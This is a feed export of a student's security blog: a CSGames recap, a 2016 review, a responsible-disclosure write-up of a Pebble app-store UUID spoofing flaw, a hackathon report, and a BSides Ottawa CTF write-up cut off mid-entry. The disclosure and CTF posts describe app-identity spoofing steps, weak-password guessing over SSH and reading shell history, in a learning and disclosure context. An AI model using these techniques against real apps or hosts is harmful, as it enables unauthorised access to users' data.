weekend! I learned so much about reverse engineering, patching binaries and analyzing unknown files. Unfortunately after all of our efforts Katherine and I didn’t place top 3 for any of our individual challenges however Series A (the team we were on) ended up placing 2nd Overall! Originally we had placed 3rd during the competition but due to an error marking we were bumped up to second (0.03% behind first!). We ended up taking home a total of 8 medals this year across the two teams! I can’t wait for next year when uOttawa will hopefully bring home the CS Cup! For the results of this year’s CSGames you can checkout the <a href="http://scoreboard.csgames.org/">scoreboard</a> on the CSGames website. Oh also <em>note to self</em>: BRING SOME DRESS CLOTHING FOR THE BANQUET NEXT YEAR!</p><div class="figure center" style="width:;"><a class="fancybox" href="https://images.fletchto99.com/blog/2017/april/csgames/4.jpg" title="Receiving the 3rd place overall (later it was realized we got 2nd!)" data-caption="Receiving the 3rd place overall (later it was realized we got 2nd!)" data-fancybox="default"><img class="fig-img" src="https://images.fletchto99.com/blog/2017/april/csgames/4.jpg" alt="Receiving the 3rd place overall (later it was realized we got 2nd!)"></a><span class="caption">Receiving the 3rd place overall (later it was realized we got 2nd!)</span></div><div style="clear:both;"></div><span id="more"></span><link rel="stylesheet" href="/css/spoiler.css" type="text/css"><script src="/js/spoiler.js" type="text/javascript" async></script>]]></content>
    
    
    <summary type="html">&lt;p&gt;A few weeks ago I got to participate in the 2017 edition of CSGames on the uOttawa Series A team. We managed to place second overall!&lt;/p&gt;</summary>
    
    
    
    <category term="events" scheme="https://blog.fletchto99.com/categories/events/"/>
    
    
    <category term="security" scheme="https://blog.fletchto99.com/tags/security/"/>
    
    <category term="ctfs" scheme="https://blog.fletchto99.com/tags/ctfs/"/>
    
    <category term="technical" scheme="https://blog.fletchto99.com/tags/technical/"/>
    
  </entry>
  
  <entry>
    <title>2016: Securing my future</title>
    <link href="https://blog.fletchto99.com/2017/february/a-new-year/"/>
    <id>https://blog.fletchto99.com/2017/february/a-new-year/</id>
    <published>2017-02-20T07:00:00.000Z</published>
    <updated>2022-12-19T05:10:54.543Z</updated>
    
    <content type="html"><![CDATA[<!-- excerpt --><div class="figure center" style="width:;"><img class="fig-img" src="https://images.fletchto99.com/blog/2017/february/a-new-year/banner.png" alt=""></div><div style="clear:both;"></div><p>It has been a while since I’ve blogged, so I thought I would use this post to recap my 2016 and outline my goals for 2017. 2016 has been a great year: I’ve gotten more involved at University, further pursued my passion for computer security and achieved a few personal goals.</p><h2 id="School-Involvement"><a href="#School-Involvement" class="headerlink" title="School Involvement"></a>School Involvement</h2><p>To kick off my school involvement in 2016 I organized a second Pebble hackathon called “Time for Another Round”. Once again it was a 24 hour hackathon (with an overnight break) which was sponsored by Pebble. The idea was for participants to create apps for the Pebble smartwatch and hopefully learn something new. Overall the hackathon was a huge success, I had over 30 students participate and they created some awesome apps. There were also 2 Pebblers which had traveled up from Detroit to participate in the event! You can read more about the hackathon in the follow up <a href="https://blog.fletchto99.com/2016/april/pebble-hackathon/">blog post</a> I wrote.</p><p>Unfortunately as of November, 2016 Pebble no longer exists as they were bought out by fitbit. I must admit I really enjoyed being a community developer for pebble! I got to run monthly meetups for over a year, run 2 Pebble hackathons, build some amazing libraries &amp; apps but most of all got to meet some amazing developers at the 2015 Pebble developer retreat in San Francisco. Even though the official Pebble company no longer exists the community still lives on through the <a href="http://rebble.io/">Rebble project</a>.</p><div class="figure center" style="width:;"><a class="fancybox" href="https://images.fletchto99.com/blog/2017/february/a-new-year/1.png" title="A thank you card Pebble sent me" data-caption="A thank you card Pebble sent me" data-fancybox="default"><img class="fig-img" src="https://images.fletchto99.com/blog/2017/february/a-new-year/1.png" alt="A thank you card Pebble sent me"></a><span class="caption">A thank you card Pebble sent me</span></div><div style="clear:both;"></div><p>In 2016 I also got more involved with associations within the school, specifically the IEEE uOttawa student branch. It all happened because during the school year of 2016 a bunch of my friends started hanging out in the IEEE office. When elections time came in april the the past exec convinced me to run and thus I was elected to be the McNaughton Centre Director. So far during my time as an exec with IEEE I have been able to participate and assist in running multiple events. <a href="http://www.battleroyale.ca/br10/">Battle Royale (9 and X)</a> were both extrememly successful LAN parties, each of which attracted over 100 participants. I enjoyed helping run the events so much that I volunteered to be one of the Overlords for BR 11 which will be taking place in November 2017. I also had the chance to participated in IEEEXtreme, a 24 hour coding competition hosted by IEEE international. My team placed in the top 10% world wide!</p><div class="figure center" style="width:;"><a class="fancybox" href="https://images.fletchto99.com/blog/2017/february/a-new-year/2.png" title="Battle Royale X" data-caption="Battle Royale X" data-fancybox="default"><img class="fig-img" src="https://images.fletchto99.com/blog/2017/february/a-new-year/2.png" alt="Battle Royale X"></a><span class="caption">Battle Royale X</span></div><div style="clear:both;"></div><p>I feel that as the MCNaughton Centre director for the 2016&#x2F;17 term I have fulfilled my goals. At the start of the year I had set a few small goals for my self:</p><ul><li>Organize the IEEE office</li><li>Run 1 event&#x2F;semester to promote IEEE and get students involved</li></ul><p>I believe that I achieved both of these goals to their full extent. The first one was completed when I had organized an office cleanup during the fall semester. During this cleanup we were able to create 3 more private work areas for students along with cleaning off the workbench area. The office cleanup was a team effort and was a huge success, students are constantly using the newly created workspaces. I also managed to get our stereo system working again (including the FM radio)!</p><p>As for promoting the branch through events, near the beginning of the year I organized a server room tour at uOttawa. We had approximately 15 people attend this tour. Then in the winter semester I organized a technical talk with Tanya Janca, the OWASP Ottawa co-organizer, about hacking your own app. We had approximately 25 students show up to that event. I’d say with organizing these two events along with helping out with plenty of other events I have succeeded in my second goal to run events and promote the IEEE student branch.</p><div class="figure center" style="width:;"><a class="fancybox" href="https://images.fletchto99.com/blog/2017/february/a-new-year/3.png" title="The stereo works!" data-caption="The stereo works!" data-fancybox="default"><img class="fig-img" src="https://images.fletchto99.com/blog/2017/february/a-new-year/3.png" alt="The stereo works!"></a><span class="caption">The stereo works!</span></div><div style="clear:both;"></div><h2 id="Security"><a href="#Security" class="headerlink" title="Security"></a>Security</h2><p> 2016 was the year of security for me. It all started in the summer of 2016 when I got my first security related job with <a href="https://www.redcanari.com/">redcanari</a>. While working for Redcanari aside from software development I also assisted in enterprise level penetration testing while being mentored by industry professionals. They taught me how to search for the OWASP top 10 and defence methods to prevent them. Redcanari also introduced me to the world of security based capture the flags or CTFs for short.</p><p> In August I got to participate (remotely) in my first ever CTF, BSides Las Vegas. This CTF was a Red (attack) vs Blue (defence) style ctf where I was on the red team due to the fact that my colleague from Redcanari was the red team leader. It was the first time I got to pwn hosts for fun and I learned quite a bit, I even made a FreePBX module to get a root shell! Following the CTF in august I then participated in BSides Ottawa which was a jeopardy style CTF where participants had to pwn apps &amp; servers to find the flags. My team “Hack.Carleton” ended up placing second overall, which was quite impressive considering we were a bunch of university students against teams of industry professionals! Those two CTFs inspired me to <a href="github.com/fletchto99/ctf-game">write &amp; host my own CTF</a> at uOttawa in which approximately 30 students showed up for a night of hacking and learning. The CTF I built was hosted on AWS and I used <a href="https://github.com/facebook/fbctf">FBCTF</a> as the team management platform. The CTF I created also served as tryouts for CySCOTT, which was a hacking challenge between local universities hosted by the Tom Levasseur &amp; the Mayor of Ottawa. My team placed second in the CySCOTT competition! Finally, just last month, some students from uOttawa and I managed to place first in the OWASP CTF.</p><div class="figure center" style="width:;"><a class="fancybox" href="https://images.fletchto99.com/blog/2017/february/a-new-year/4.png" title="CySCOTT 2nd Place" data-caption="CySCOTT 2nd Place" data-fancybox="default"><img class="fig-img" src="https://images.fletchto99.com/blog/2017/february/a-new-year/4.png" alt="CySCOTT 2nd Place"></a><span class="caption">CySCOTT 2nd Place</span></div><div style="clear:both;"></div><p>In the middle of the summer I found my first major security vulnerability which I responsibly disclosed to ASUS. You can read more about that security issue in my <a href="https://blog.fletchto99.com/2016/september/asus-disclosure/">blog post</a> following the responsible disclosure. Later on in the fall I was doing some research with a fellow Pebble developer, Rob, when we came across a vulnerability in the Pebble app ecosystem. Again we responsibly disclosed it to Pebble’s whitehat program but this time I was rewarded for my efforts. I also wrote up about that disclosure in a separate <a href="https://blog.fletchto99.com/2016/november/pebble-app-sandbox-escape/">blog post</a>.</p><p>Moving into 2017 I will be able to continue improving my knowledge in the field of computer security during a 3 month product security internship at Github. This June I will be traveling to San Francisco to participate in a 3 month internship at Github as a product security intern. I will be working in a team of industry professionals learning from some of the best and helping improve a product which I use on a daily basis. Continuing back into school in 2017 I’m planning to start a security club which will have weekly meetings with lightning talks, much like the <a href="https://talks.fletchto99.com/clickjacking/">click jacking</a> lightning talk I gave.</p><div class="figure center" style="width:;"><a class="fancybox" href="https://images.fletchto99.com/blog/2017/february/a-new-year/5.png" title="Giving a lightning talk on Clickjacking" data-caption="Giving a lightning talk on Clickjacking" data-fancybox="default"><img class="fig-img" src="https://images.fletchto99.com/blog/2017/february/a-new-year/5.png" alt="Giving a lightning talk on Clickjacking"></a><span class="caption">Giving a lightning talk on Clickjacking</span></div><div style="clear:both;"></div><h2 id="Personal"><a href="#Personal" class="headerlink" title="Personal"></a>Personal</h2><p>However 2016 was more than just school and security, it was also a year for some personal improvement. Nearing the end of 2016 I decided to participate in Movember. For those of you who don’t know Movember is a fundraiser which takes place during the month of Novermber to raise funds for Men’s cancers &amp; health. This was the second year that I’ve participated. I chose to dedicate my movember campaign to my Uncle who is dying of cancer. My goal was to raise $500 and for every $10 donated I would donate $1. I’m glad to say not only did I reach my goal of $500 but I surpassed it raising a <a href="mobro.co/mattlanglois">grand total of $609</a>! Thank you to everyone who donated, this wouldn’t have been possible without you!</p><p>This movember I also participated in their MOVEmber move challenge which encourages participants to live a more active and healthy lifestyle. To do this I got a personal trainer at the uOttawa gym and started going to the gym on a weekly basis. I have continued this into 2017 now attending the gym 3 times per week (though I’ve slacked off a bit lately due to exams). Next up I’m hoping to slowly change my diet to something a bit better for my body but that will come in due time.</p><p>Finally they year wouldn’t be complete without a rig update right?!? This past christmas I spoiled my gaming rig and upgraded the entire thing to a custom hardline watercooling loop. Expect more in a future blog post but for now here is a sexy image of my current rig:</p><div class="figure center" style="width:;"><a class="fancybox" href="https://images.fletchto99.com/blog/2017/february/a-new-year/6.png" title="2016 Rig update" data-caption="2016 Rig update" data-fancybox="default"><img class="fig-img" src="https://images.fletchto99.com/blog/2017/february/a-new-year/6.png" alt="2016 Rig update"></a><span class="caption">2016 Rig update</span></div><div style="clear:both;"></div><span id="more"></span><link rel="stylesheet" href="/css/spoiler.css" type="text/css"><script src="/js/spoiler.js" type="text/javascript" async></script>]]></content>
    
    
    <summary type="html">&lt;p&gt;It has been a while since I’ve blogged, so I thought I would use this post to recap my 2016 and outline my goals for 2017.&lt;/p&gt;</summary>
    
    
    
    <category term="personal" scheme="https://blog.fletchto99.com/categories/personal/"/>
    
    
    <category term="personal" scheme="https://blog.fletchto99.com/tags/personal/"/>
    
  </entry>
  
  <entry>
    <title>Spoofing a Pebble appstore app</title>
    <link href="https://blog.fletchto99.com/2016/november/pebble-app-sandbox-escape/"/>
    <id>https://blog.fletchto99.com/2016/november/pebble-app-sandbox-escape/</id>
    <published>2016-11-20T07:00:00.000Z</published>
    <updated>2022-12-19T05:07:48.293Z</updated>
    
    <content type="html"><![CDATA[<!-- excerpt --><div class="figure center" style="width:;"><img class="fig-img" src="https://images.fletchto99.com/blog/2016/november/pebble-app-sandbox-escape/banner.png" alt=""></div><div style="clear:both;"></div><p>Last month Rob and I found a vulnerability in the Pebble app ecosystem which enabled us to access a target application’s sandbox. Essentially the flaw enables a malicious application to read the flash storage and access the JavaScript instance of the target app once the malicious app is opened. Ultimately this was assigned CVE-2016-10702.</p><h2 id="The-Vulnerability"><a href="#The-Vulnerability" class="headerlink" title="The Vulnerability"></a>The Vulnerability</h2><p>The application exploits a vulnerability in the way that the UUID of an application is stored. When a PBW container is built, the app’s info (including the UUID) is stored in the file appinfo.json located in the root of the PBW. However, some of the app’s info is also written as headers into the individual app binaries (each in the aplite, basalt, chalk  binaries). By modifying the value of the UUID written to the header of the binaries in the malicious app to match the target app’s UUID we are able to trick the watch into thinking the target app is being loaded when in reality the malicious app is being loaded.</p><h2 id="Building-a-POC"><a href="#Building-a-POC" class="headerlink" title="Building a POC"></a>Building a POC</h2><p>Building the proof of concept for this vulnerability was pretty straightforward. To start we built a <a href="https://gist.github.com/fletchto99/ca2050882e3da8d0e4b60b7f926b6cc4">simple application</a> which would read a numeric value saved in flash storage and print it out as text on the screen. The application would also use the javascript instance to log a phrase which is unique to the target application. Finally this target application would be built &amp; installed on the watch, with the UUID of the application being recorded.</p><p>The next part was to initialize a new pebble app project. Doing so would generate a <a href="https://developer.pebble.com/guides/tools-and-resources/app-metadata/">package.json</a> with a different UUID compared to our target app. The UUID in the malicious app’s package.json would be saved elsewhere then replaced with our target app’s UUID this way during build time our malicious app will be built with the exact same UUID as our target app. Finally the <a href="https://gist.github.com/fletchto99/417225a12ab61dddf5623e0cfc432ed3">sample malicious application</a> would access the same flash storage key that the target app reads from, only this time when the middle button is pressed the value will be incremented.</p><p>The next step is to build the malicious app. Since the malicious app is being built with the same UUID as our target app, that is the UUID that will be built into the headers of the aplite, basalt and chalk binary files. The final step is to extract the appinfo.json from the malicious app, modify the UUID to be the UUID which was generated when the malicious project was created, and then repack the pbw container.</p><h2 id="Video-Demo"><a href="#Video-Demo" class="headerlink" title="Video Demo"></a>Video Demo</h2><div class="video-container"><iframe src="https://www.youtube.com/embed/PeAmX3KVo4U" frameborder="0" loading="lazy" allowfullscreen></iframe></div><h2 id="Potential-Impact-x2F-Interesting-Ideas"><a href="#Potential-Impact-x2F-Interesting-Ideas" class="headerlink" title="Potential Impact &#x2F; Interesting Ideas"></a>Potential Impact &#x2F; Interesting Ideas</h2><p>What made this vulnerability have a higher impact was the fact that the malicious application could be uploaded to the app store. When uploading a pbw to the app store the validator used to only check the appinfo.json to see if another app with that value already existed. The appstore never validated that the binary headers actually matched the appinfo.json values. Thus a malicious application could be uploaded to the appstore with the intent to cause harm, for example an application could be created to spoof the Uber app and request an Uber without the user’s knowledge.</p><p>There are actually some practical uses to this too, although the bad does outweigh the good in this case. Rob had the idea that you could create a watchface which reads values from flash storage for color preferences etc… Then you could create a watch app which would spoof the face’s UUID and be able to update those preference values. This way a watchface’s setting could be changed without needing to have access to the phone.</p><p>The issue is now resolved and the appstore does more rigorous checking when uploading an application, to ensure that the UUID is not being spoofed.</p><h2 id="Reward"><a href="#Reward" class="headerlink" title="Reward"></a>Reward</h2><p>For finding this vulnerability Pebble awarded us with a $500 bounty along with our names being put on their <a href="https://www.pebble.com/legal/white_hat/hall_of_fame">whitehat hall of fame</a> page.</p><h2 id="Timeline"><a href="#Timeline" class="headerlink" title="Timeline"></a>Timeline</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">September 10 - Initial report to whitehat@pebble.com</span><br><span class="line">September 23 - Initial reply from pebble saying it is being looked into and they will reply in the coming weeks</span><br><span class="line">September 29 - Follow up from pebble saying we were being awarded $500 for the report</span><br><span class="line">September 30 - Reply to Pebble with payment details &amp; request to disclose publicly once approved</span><br><span class="line">November 17  - Told that it has been completely patched &amp; public disclosure</span><br></pre></td></tr></table></figure><span id="more"></span><link rel="stylesheet" href="/css/spoiler.css" type="text/css"><script src="/js/spoiler.js" type="text/javascript" async></script>]]></content>
    
    
    <summary type="html">&lt;p&gt;Last month Rob and I found a vulnerability in the Pebble app ecosystem which enabled us to spoof a Pebble appstore application. This was assigned CVE-2016-10702.&lt;/p&gt;</summary>
    
    
    
    <category term="security" scheme="https://blog.fletchto99.com/categories/security/"/>
    
    
    <category term="pebble" scheme="https://blog.fletchto99.com/tags/pebble/"/>
    
    <category term="whitehat" scheme="https://blog.fletchto99.com/tags/whitehat/"/>
    
    <category term="security" scheme="https://blog.fletchto99.com/tags/security/"/>
    
  </entry>
  
  <entry>
    <title>Hack Western 3 &amp; CTFort</title>
    <link href="https://blog.fletchto99.com/2016/october/hack-western-3/"/>
    <id>https://blog.fletchto99.com/2016/october/hack-western-3/</id>
    <published>2016-10-23T07:00:00.000Z</published>
    <updated>2022-12-19T05:18:48.894Z</updated>
    
    <content type="html"><![CDATA[<!-- excerpt --><div class="figure center" style="width:;"><img class="fig-img" src="https://images.fletchto99.com/blog/2016/october/hack-western-3/banner.png" alt=""></div><div style="clear:both;"></div><p>This past weekend I had the opportunity to participate in Hack Western 3 which was a 36 hour hackathon located at Western University! In case you’re unfamiliar with the concept of a hackathon <a href="https://mlh.io/faq#what-is-a-hackathon">MLH</a> states that it is:</p><blockquote><p>A hackathon is best described as an “invention marathon”. Anyone who has an interest in technology attends a hackathon to learn, build &amp; share their creations over the course of a weekend in a relaxed and welcoming atmosphere. You don’t have to be a programmer and you certainly don’t have to be majoring in Computer Science.</p></blockquote><h1 id="Team-amp-Idea-Formation"><a href="#Team-amp-Idea-Formation" class="headerlink" title="Team &amp; Idea Formation"></a>Team &amp; Idea Formation</h1><p>Both my roommate and I were accepted to Hack Western 3, so we opted to work as a team. On the 9 hours bus ride from Ottawa to Western we met Ryan, our third teammate. Over the past few months I’ve been thinking about building a centralized system to aid hackers in CTFs. The idea comes from previous CTF events I’ve attended where there is no convenient way manage which flags have been captured and how they were captured. CTFort aims to ease the pain of managing which flags have been captured and will hopefully some day act as a centralized portal for CTF teams.</p><div class="figure center" style="width:;"><a class="fancybox" href="https://images.fletchto99.com/blog/2016/october/hack-western-3/1.png" title="CTFort Logo" data-caption="CTFort Logo" data-fancybox="default"><img class="fig-img" src="https://images.fletchto99.com/blog/2016/october/hack-western-3/1.png" alt="CTFort Logo"></a><span class="caption">CTFort Logo</span></div><div style="clear:both;"></div><h1 id="Friday"><a href="#Friday" class="headerlink" title="Friday"></a>Friday</h1><p>After an extremely long bus ride to Western university and arriving around 8:30 pm the team got settled in a room and prepared to start hacking. We spent the first few hours discussing the stack we would use and the API which would ultimately control CTFort. We opted to use Angular 2 with Typescript for the frontend and then Node.js using the express framework on the backend with the data being stored in a postgresql database. All of this was wrapped up and running on an AWS EC2 instance.</p><p>Around midnight we finalized our plan and got started with the development. My first job was to get the production environment setup so by the time Sunday morning comes everything can just be uploaded to the server. So my tasks for the night included registering a domain name, spinning up an EC2 instance, and setting up the DNS records to point to the AWS instance. I also created the <a href="https://github.com/fletchto99/CTFort">github repository</a> to host our project.</p><p>This was my first time using AWS and I must say I really enjoyed the process. It took only a mere 5 minutes to get registered and spin up a Ubuntu 16.04 LTS vm on AWS and get all of our teams public keys added to the instance. I also purchased the domain name <a href="https://ctfort.com/">ctfort.com</a> registered and then used <a href="https://dns.he.net/">Hurricane Electric’s free DNS service</a> to set the A record to point to our server. Next I setup <a href="https://api.ctfort.com/">api.ctfort.com</a> which would be the subomain where our API could be accessed. Next, for fun, I compiled my own version of Nginx with the <a href="https://github.com/openresty/headers-more-nginx-module#installation">more_set_headers</a> directive so that I could modify there server header, this can also be used as a security measure to change the server tokens preventing malicious crawlers looking for specific server headers. Finally, using my <a href="https://blog.fletchto99.com/2016/february/letsencrypt-nginx/">old guide</a>, I setup Let’s encrypt to get free SSL certificates added to our project. Let’s encrypt is great because you can have SSL setup in less than 5 minutes.</p><p>That was pretty much all we got done friday night, we ended up going to sleep around 4:30AM after submitting our project to the <a href="https://devpost.com/software/ctfort">Hack Western 3 devpost</a>.</p><h1 id="Saturday"><a href="#Saturday" class="headerlink" title="Saturday"></a>Saturday</h1><p>The goal for saturday was to finish up the project. This included creating the entire UI and creating all of the API endpoints, so there was plenty to get done. After waking up at 8:30 the team got started right away. Kurt &amp; Ryan started by creating the UI landing page (with an awesome parallax effect) &amp; login&#x2F;registration forms. My job was to create the backend API, build the database schema, and setup PostgreSQL on the server.</p><p>After creating the schema I got PostgreSQL installed on the server. To do this I just used <code>apt-get</code> to install the latest version of postgres. I then proceeded to create a new user on the box with limited permissions on the fs and the databases. This user would be used to connect to the database and also run the web application&#x2F;API. I did this so that if an attacker were able to gain access to this user they would be restricted to the permissions of that account only.</p><p>The last step was to build the RESTful API. I decided to use Node.js + Express to build the API since I’m pretty familiar with them. Most of the API was straight forward, I had the endpoints in <code>app/controllers/</code>, the endpoints manipulated the models at <code>app/models/</code> and the models would access the database. The <code>app/shared/</code> directory contained a bunch of helper functions used throughout the application.</p><p>I also had a layer of middleware in <code>app/middleware/</code> which performed various operations. The <a href="https://github.com/helmetjs/helmet">helmet</a> middleware was used as a general security filter to prevent things like XSS and click jacking. I used express-session with the pg storage model to store sessions securely within the database. Finally I created an auth middleware which ensures all access to <code>&lt;website&gt;/auth/</code> is using a validated session. To store the passwords in the database I chose to use the industry standard <a href="https://www.npmjs.com/package/bcrypt">bcrypt library</a> which quickly and securely stores passwords.</p><p>Building the API took the majority of the day and the rest of the day was spent at various events. We ended up submitting our project sunday at 4:30 in the morning so we could catch a good night’s sleep. Unfortunately we didn’t get everything done but thankfully we had enough to pitch our idea!</p><div class="figure center" style="width:;"><a class="fancybox" href="https://images.fletchto99.com/blog/2016/october/hack-western-3/2.jpg" title="*cough* Assassin's creed unity *cough*" data-caption="*cough* Assassin's creed unity *cough*" data-fancybox="default"><img class="fig-img" src="https://images.fletchto99.com/blog/2016/october/hack-western-3/2.jpg" alt="*cough* Assassin's creed unity *cough*"></a><span class="caption">*cough* Assassin's creed unity *cough*</span></div><div style="clear:both;"></div><h1 id="Saturday-Events-amp-4th-Place-in-Forensics-Challenge"><a href="#Saturday-Events-amp-4th-Place-in-Forensics-Challenge" class="headerlink" title="Saturday Events &amp; 4th Place in Forensics Challenge"></a>Saturday Events &amp; 4th Place in Forensics Challenge</h1><p>There were 2 events which I chose to attend on saturday, both of which were done by security related companies. The first was a talk by an employee from Digital Boundary Group titled “Internet Cartography: Mapping the Internet” and the second was “Cracking the Code: How to use Decryption to Uncover the Truth” by Magnet Forensics.</p><p>The talk by Digital Boundary Group can be found here: <a href="https://github.com/okabe/hackwestern">https://github.com/okabe/hackwestern</a>. It was a great talk! The TL;DR version is essentially one of the Digital Boundary Group employees mapped the internet &amp; its IRC servers. He found many interesting things including IRC Botnets, Torrent Release Groups and even some local London, Ontario IRC server! He did this by using <a href="http://bgp.he.net/">Hurricane Electric’s BGP services</a> to find top level IPs for specific, countries and ISPs and then mapping out their networks and finally looking for servers which responded with IRC like traffic on port 6667. I highly suggest taking a look at the presentation for an in depth explanation.</p><p>The second event was a forensics challenge provided Magnetic Forensics to demonstrate how forensics can be very difficult. I ended up placing <strong>fourth</strong> in this challenge! For this challenge we were given a phone backup of a person who had committed a theft. Our objectives were to find the apps he used to communicate with the other thieves, the thieves online names, the location history of the phone, and if possible the real name of the owner of the phone. What made this challenge complex was that there were hundreds of apps and thousands of files&#x2F;folders.</p><p>For this challenge we were given a few hints saying look for: odd files in the downloads folder, log files, chat database, .eml files and app (Pokemon GO) that might track location data. After a recursive find I came across all of the *.eml files, which had revealed that there were 3 users involved: A, B and C. I also looked for the log files which were from an IRC app and they too had the same 3 users. Also in the search for log files were the pokemon go logs for the location history. Next I found a sql lite database for Whatsapp which had the same 3 usernames but their passwords were encrypted. When browsing the downloads folder I noticed there was a key.store file, so using this key file I was able to decrypt the realnames which were encrypted with AES-128. Finally to determine the real name of phone’s owner I noticed that the owner joined IRC as user “A” which matched up with the person’s decrypted realname in the whatsapp database.</p><h1 id="Closing-Ceremonies"><a href="#Closing-Ceremonies" class="headerlink" title="Closing Ceremonies"></a>Closing Ceremonies</h1><p>Late sunday morning we pitched our idea to many judges. Many of them seemed quite impressed with the idea and were really interested in what we learned. One of the judges though that it was awesome that we compiled our own version of Nginx to change the server header. He also seemed quite intrigued about the fact that we supported SSL through Let’s Encrypt. Also the group beside us made a game for the Rift so I got to try VR for the first time! Unfortunately we didn’t win this time around but it was a great event! I plan to continue building out CTFort and if you’re interested I encourage you to also contribute: <a href="https://github.com/fletchto99/ctfort">https://github.com/fletchto99/ctfort</a>.</p><div class="figure center" style="width:;"><a class="fancybox" href="https://images.fletchto99.com/blog/2016/october/hack-western-3/3.jpg" title="Closing Ceremonies" data-caption="Closing Ceremonies" data-fancybox="default"><img class="fig-img" src="https://images.fletchto99.com/blog/2016/october/hack-western-3/3.jpg" alt="Closing Ceremonies"></a><span class="caption">Closing Ceremonies</span></div><div style="clear:both;"></div><span id="more"></span><link rel="stylesheet" href="/css/spoiler.css" type="text/css"><script src="/js/spoiler.js" type="text/javascript" async></script>]]></content>
    
    
    <summary type="html">&lt;p&gt;This past weekend I had the opportunity to participate in Hack Western 3 and while I didn’t win I still learned alot!&lt;/p&gt;</summary>
    
    
    
    <category term="events" scheme="https://blog.fletchto99.com/categories/events/"/>
    
    
    <category term="hackathons" scheme="https://blog.fletchto99.com/tags/hackathons/"/>
    
    <category term="ctfs" scheme="https://blog.fletchto99.com/tags/ctfs/"/>
    
    <category term="technical" scheme="https://blog.fletchto99.com/tags/technical/"/>
    
  </entry>
  
  <entry>
    <title>BSides Ottawa CTF - Second place!</title>
    <link href="https://blog.fletchto99.com/2016/october/bsides-ottawa/"/>
    <id>https://blog.fletchto99.com/2016/october/bsides-ottawa/</id>
    <published>2016-10-04T07:00:00.000Z</published>
    <updated>2022-12-19T05:08:32.525Z</updated>
    
    <content type="html"><![CDATA[<!-- excerpt --><div class="figure center" style="width:;"><img class="fig-img" src="https://images.fletchto99.com/blog/2016/october/bsides-ottawa/banner.png" alt=""></div><div style="clear:both;"></div><p>Last thursday and friday I had the chance to participate in my first professional level CTF at BSides Ottawa. Hopeless.carleton, the team I was on, came second overall with a remarkable 3600 points! We were actually in first place until roughtly the last minute, when <a href="https://twitter.com/argilo/status/782207548644528128">“That @Shopify Team”</a> found one more flag putting them 250 points ahead of us. It was a close fight until the end!</p><div class="figure center" style="width:;"><a class="fancybox" href="https://images.fletchto99.com/blog/2016/october/bsides-ottawa/1.png" title="Final results" data-caption="Final results" data-fancybox="default"><img class="fig-img" src="https://images.fletchto99.com/blog/2016/october/bsides-ottawa/1.png" alt="Final results"></a><span class="caption">Final results</span></div><div style="clear:both;"></div><h2 id="One-small-note"><a href="#One-small-note" class="headerlink" title="One small note"></a>One small note</h2><p>The organizers dropped one final challenge on us with about 2 hours left (thought it only felt like 1&#x2F;2hr). It was a web challenge which I chose to work on. We were told to get the flag.txt which was located at the root of the box. We were given a ruby webshell on the box however when trying to read the flag we would get permissions denied. Through some investigation I determined that the account “Cyber” which the app was running under was part of the sudoers group however when running <code>sudo cat /flag.txt</code> the web shell would crash when waiting for the interactive input for the password. My teammate thought that this might be a weak creds attack and a nmap scan revealed that SSH was open to the box so all I needed to do was get the password for the <em>Cyber</em> account.</p><p> So with 5 minutes left I started trying every possible password from “password” to “admin” to “qwerty” to even “CyberCyberCyber” (the name of the ruby app). After all that I had no luck. With about 30 or so seconds left I noticed that “That Team” got it, so I though let’s just do <code>cat .bash_history</code> to see if they might have left anything useful behind, but they didn’t. After talking to “that team” afterwords it turns out the password for the <em>Cyber</em> account was just <em>Cyber</em>. If I would have gotten that we would have won since the flag was worth 300 points. Moral of the story, always try the username as the password and never use your username as your password.</p><h2 id="BSides-Ottawa-Challenges"><a href="#BSides-Ottawa-Challenges" class="headerlink" title="BSides Ottawa Challenges"></a>BSides Ottawa Challenges</h2><p>In this blog post I aim to cover some of the challenges I managed to tackle and what I learned while breaking them. The challenges are roughly in the order that my team and I managed to break them. I’ll hide the answers and post the challenges as well this way if you would like to try out the challenge you can. Unfortunately I didn’t take pictures of the network ones, so I am unable to discuss them in detail.</p><h3 id="CTF-101-A-new-script-for-“Office-Space”"><a href="#CTF-101-A-new-script-for-“Office-Space”" class="headerlink" title="CTF-101: A new script for “Office Space”"></a>CTF-101: A new script for “Office Space”</h3><p>While writing a new script for Office Space we ran into an error. Can you find it?</p><ul><li>[ <a href="https://images.fletchto99.com/blog/2016/october/bsides-ottawa/OfficeSpace1_50c3dec44908681b0b83d4c41064cef7.txt">OfficeSpace1_50c3dec44908681b0b83d4c41064cef7.txt</a> ]</li><li>[ <a href="https://images.fletchto99.com/blog/2016/october/bsides-ottawa/OfficeSpace2_6c2adf8296719145a5e7558e62287f0a.txt">OfficeSpace2_6c2adf8296719145a5e7558e62287f0a.txt</a> ]</li><li>[ <a href="https://images.fletchto99.com/blog/2016/october/bsides-ottawa/Error_28514fc691bd5b3e0ae1674e3d0b9d34.zip">Error_28514fc691bd5b3e0ae1674e3d0b9d34.zip</a> ]</li></ul><div class='spoiler collapsed'>    <div class='spoiler-title'>        Hint    </div>    <div class='spoiler-content'>        <p>What makes these two scripts different?</p>    </div></div><div class='spoiler collapsed'>    <div class='spoiler-title'>        Solving The Office Space script error    </div>    <div class='spoiler-content'>        <p>Solving this problem was quite trivial. First I started by analyzing the 3 files, we can see two copies of a script for a show and also a zip file that is encrypted with a password. I came to the conclusion that in the scripts there is likely the password for the zip hidden.</p><p>By analyzing the differences between the first and second version of the provided scripts we can see that one of the character’s names <code>PETER</code> is missing from the first script. In the second script we see the addition of the word “backwards”.</p><div class="figure center" style="width:;"><a class="fancybox" href="https://images.fletchto99.com/blog/2016/october/bsides-ottawa/2.png" title="Diff of the scripts" data-caption="Diff of the scripts" data-fancybox="default"><img class="fig-img" src="https://images.fletchto99.com/blog/2016/october/bsides-ottawa/2.png" alt="Diff of the scripts"></a><span class="caption">Diff of the scripts</span></div><div style="clear:both;"></div><p>Therefore I had concluded that the password to the error.zip file must be <code>PETER</code> backwards: <code>RETEP</code>.  After attempting the caps version and it not working I then tried the lowercase version <code>retep</code> and the file extracted revealing:</p><figure class="highlight nginx"><figcaption><span>error.txt</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">pcloadletter</span></span><br><span class="line"></span><br><span class="line">WTF does that mean?</span><br></pre></td></tr></table></figure>    </div></div><h3 